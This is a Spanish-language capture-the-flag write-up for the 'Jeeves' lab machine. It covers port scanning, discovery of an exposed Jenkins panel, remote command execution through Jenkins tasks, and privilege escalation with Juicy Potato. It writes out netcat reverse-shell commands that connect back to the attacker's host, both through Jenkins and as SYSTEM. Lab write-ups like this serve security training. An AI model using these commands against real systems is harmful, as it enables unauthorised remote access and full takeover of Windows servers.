Jeeves Writeup
Maquina windows JEEVES.
En esta maquina tendremos que hacer RCE desde una aplicacion llamada JENKINS con una version vulnerable, que nos permite ejecutar comandos de windows cmd o powershell , ejecutaremos comandos para obtener una revershell.
Reconocimiento.
Con nmap ejecutamos el reconocimiento.
1
2
3
4
5
6
7
8
>nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn -oG scan 10.10.10.63
>Host: 10.10.10.63 () Status: Up
Host: 10.10.10.63 ()
Ports: 80/open/tcp//http///
135/open/tcp//msrpc///
445/open/tcp//microsoft-ds///
50000/open/tcp//ibm-db2/// Ignored State: filtered (65531)
Copiamos los puertos abiertos y ejecutamos con nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
>nmap -sCV -p80,135,445,50000 -Pn -oN scanport 10.10.10.63
>PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-09-08T21:10:39
|_ start_date: 2022-09-08T21:07:37
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m58s
Enumeracion
Vamos a revisar los puertos abiertos 80,135,445,50000
Puerto 445
Usamos crackmapexec para obtener informacion de la maquina, vemos que es un windows 10 el nombre del dominio y el nombre da la maquina.
1
2
3
>crackmapexec smb 10.10.10.63
>SMB 10.10.10.63 445 JEEVES [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False)
Con smbclient vemos que no tenemos acceso a recursos compartidos.
1
2
3
>smbclient -L 10.10.10.63 -N
>session setup failed: NT_STATUS_ACCESS_DENIED
Puerto 80.
Vamos a la url http://10.10.10.63
Vemos que la pagina nos muestra algo sencillo y un campo para hacer preguntas, hacemos una prueba ingresando algo en el campo search pero la pagina nos redireciona a una imagen que habla de un error
Puerto 50000
Revisando el scanport de nmap vemos el puerto 50000 abierto con un servicio
1
2
3
4
50000/tcp open http `Jetty 9.4.z-SNAPSHOT`
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Vamos a la url http://10.10.10.63:50000
Viedo esto intentamos realizar un escaneo con wfuzz a la url con el puerto 50000.
1
>wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.63:50000/FUZZ
Despues de unos minutos el escaneo nos da el una ruta llamada askjeeves
Vamos a la url con la nueva ruta http://10.10.10.63:50000/askjeeves, nos lleva a jenkins que es un servidor de automatizacion.
Tenemos un panel donde investigando un poco vemos q podemos crear tareas
Analizando un poco vemos que la tarea nos permite ejecutar comandos windows con cme o powershell, viendo esto ya imaginamos vias potenciales para acceder al sistema.
Creamos la tarea con un comando por cmd para hacer un ping a mi maquina.
Ejecuto tcpdump para ver si mi maquina responde al ping
1
>sudo tcpdump -i tun0 icmp
Como se ve en la imagen tengo respuesta y ya conesto sabemos que el servidor jenkins es vulnerable y se puede hacer un RCE.
Intrusion
Tenemos conocimiento de que podemos hacer RCE con el servidor jenkins, hay muchas formas de ejecutar comandos para tener acceso remoto a la maquina, yo lo hare con smbserver para crear un recurso compartido y luego creo una tarea en jenkins que ejecute un comando para generar una revershell.
- Con smbserver creo un recurso compartido.
1
>sudo impacket-smbserver smbFolder $(pwd) -smb2support
Descargo netcatx64.exe y lo guardo en la ruta de mi recurso compartido.
Creo la tarea en jenkins y agrego el siguiente comando.
1
>\\10.10.14.16\smbFolder\ncx64.exe -e cmd 10.10.14.16 443
- Nos ponemos en escucha con nc ,el smbserver esta activo , ejecutamos la tarea y obtenemos una revershell
Escalar privilegios
Una vez dentro de la maquina vemos que estamos con el usuario kohsuke
, ejecutemos algunos comandos que nos de informacion de este usuario.
1
>whoami /priv
imagen de seimpersonal
El usuario cuenta con el SeImpersonatePrivilege
lo cual nos proporciona una forma de escalar privilegios, para eso usamos una herramienta llamada Juicy Potato
que nos permite escalar desde una cuenta normal y ejecutar comandos como NT AUTHORITY\SYSTEM
.
- Descargamos desde github el binario .exe
- Subimos el binario a la maquina victima
- Ejecutamos el siguiente comando para escalar privilegios.
1
2
3
.\jp.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd 10.10.14.16 443"
##La ruta del ejemplo es de donde almacene el netcat